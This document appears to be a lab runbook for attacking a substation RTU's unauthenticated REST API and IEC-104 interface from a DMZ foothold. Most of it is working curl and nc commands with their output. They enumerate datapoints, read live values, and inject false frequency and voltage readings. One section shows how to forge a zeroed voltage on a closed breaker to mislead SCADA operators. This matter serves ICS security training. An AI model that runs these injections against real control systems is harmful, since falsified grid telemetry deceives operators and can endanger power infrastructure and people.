Runbook: substation-rtu

Discovery

A sweep of the DMZ from contractors-gate turns up port 8080 on 10.10.5.14 alongside the other services on the segment. A direct probe reveals what is listening.

root@contractors-gate:~# curl -s http://10.10.5.14:8080/
{"endpoints":["GET  /datapoints         list all","GET  /datapoints/<id>    read one","POST /datapoints/<id>    write one (body: {\"value\": ...})"],"feeder":"Dolly Sisters / Nap Hill","rtu":"uupl-substation"}

A REST API for a substation RTU. It names the feeder segment and documents its own interface. Nothing in the response mentions authentication.

Datapoint inventory

root@contractors-gate:~# curl -s http://10.10.5.14:8080/datapoints

Six datapoints appear: four measured floating-point values and two boolean breaker states.

ID

Name

Type

Unit

1

feeder_a_voltage

13

kV

2

feeder_b_voltage

13

kV

3

load_current

13

A

4

frequency

13

Hz

5

breaker_a_state

1

(empty, true/false)

6

breaker_b_state

1

(empty, true/false)

Type 13 is M_ME_NC_1 (measured floating-point) and type 1 is M_SP_NA_1 (single-point boolean). Both are standard IEC-104 type identifiers. The values are live: uupl-eng-ws polls the relay IEDs and the turbine PLC every ten seconds and pushes updates here via the REST API. Voltages reflect the LV bus scaled through the step-up transformer (220 V → 11.0 kV). Breaker states track the relay trip coils (true = closed = not tripped).

Reading a single datapoint

root@contractors-gate:~# curl -s http://10.10.5.14:8080/datapoints/4
{"id":4,"name":"frequency","type":13,"unit":"Hz","value":48.3}

Any of the six IDs work. The value is live, derived from the turbine PLC’s frequency register.

Writing values

The same endpoint accepts POST with a JSON body.

root@contractors-gate:~# curl -s -X POST http://10.10.5.14:8080/datapoints/4 \
    -H 'Content-Type: application/json' \
    -d '{"value": 47.2}'
{"id":4,"status":"ok","value":47.2}

The value is committed immediately. Any IEC-104 master connected to port 2404 receives a spontaneous update at once, without waiting for the next periodic report. A GET confirms the write:

root@contractors-gate:~# curl -s http://10.10.5.14:8080/datapoints/4

State is in-memory. Injected values persist until the next update from uupl-eng-ws, which fires every ten seconds and overwrites all six datapoints with fresh readings from the relay IEDs and PLC. A container restart resets values to rtu_config.json defaults until the first update cycle.

Correlated manipulation

Changing a single reading may look like a sensor fault. A more interesting inconsistency: set feeder_a_voltage to zero while breaker_a_state stays true (closed).

root@contractors-gate:~# curl -s -X POST http://10.10.5.14:8080/datapoints/1 \
    -H 'Content-Type: application/json' \
    -d '{"value": 0.0}'

An operator watching a SCADA display now sees a breaker that reads as closed on a dead feeder. In a real feeder segment, that combination points to a protection failure or a sensor fault rather than an injection. The data model imposes no consistency rules between related datapoints.

IEC-104 connection

Port 2404 carries the IEC 60870-5-104 protocol. The REST surface and the IEC-104 interface read from the same underlying data model: a write through REST appears as a spontaneous update on the IEC-104 side at once.

root@contractors-gate:~# nc -zv 10.10.5.14 2404

The connection succeeds. An IEC-104 client pointed at 10.10.5.14:2404, common address 20, sends STARTDT and receives a general interrogation response containing all six datapoints.

What you can know now

Access:

  • REST API at 10.10.5.14:8080: read and write all six datapoints, no authentication

  • IEC-104 at 10.10.5.14:2404: reachable from the DMZ, common address 20

Datapoints:

  • feeder_a_voltage (ID 1, kV), feeder_b_voltage (ID 2, kV)

  • load_current (ID 3, A), frequency (ID 4, Hz)

  • breaker_a_state (ID 5, bool), breaker_b_state (ID 6, bool): 1 = closed, 0 = open

Quick reference

root@contractors-gate:~# curl -s http://10.10.5.14:8080/datapoints                  list all datapoints
root@contractors-gate:~# curl -s http://10.10.5.14:8080/datapoints/4                read one by ID
root@contractors-gate:~# curl -s -X POST http://10.10.5.14:8080/datapoints/4 \
    -H 'Content-Type: application/json' -d '{"value": 47.2}'                        write a value
root@contractors-gate:~# nc -zv 10.10.5.14 2404                                     IEC-104 port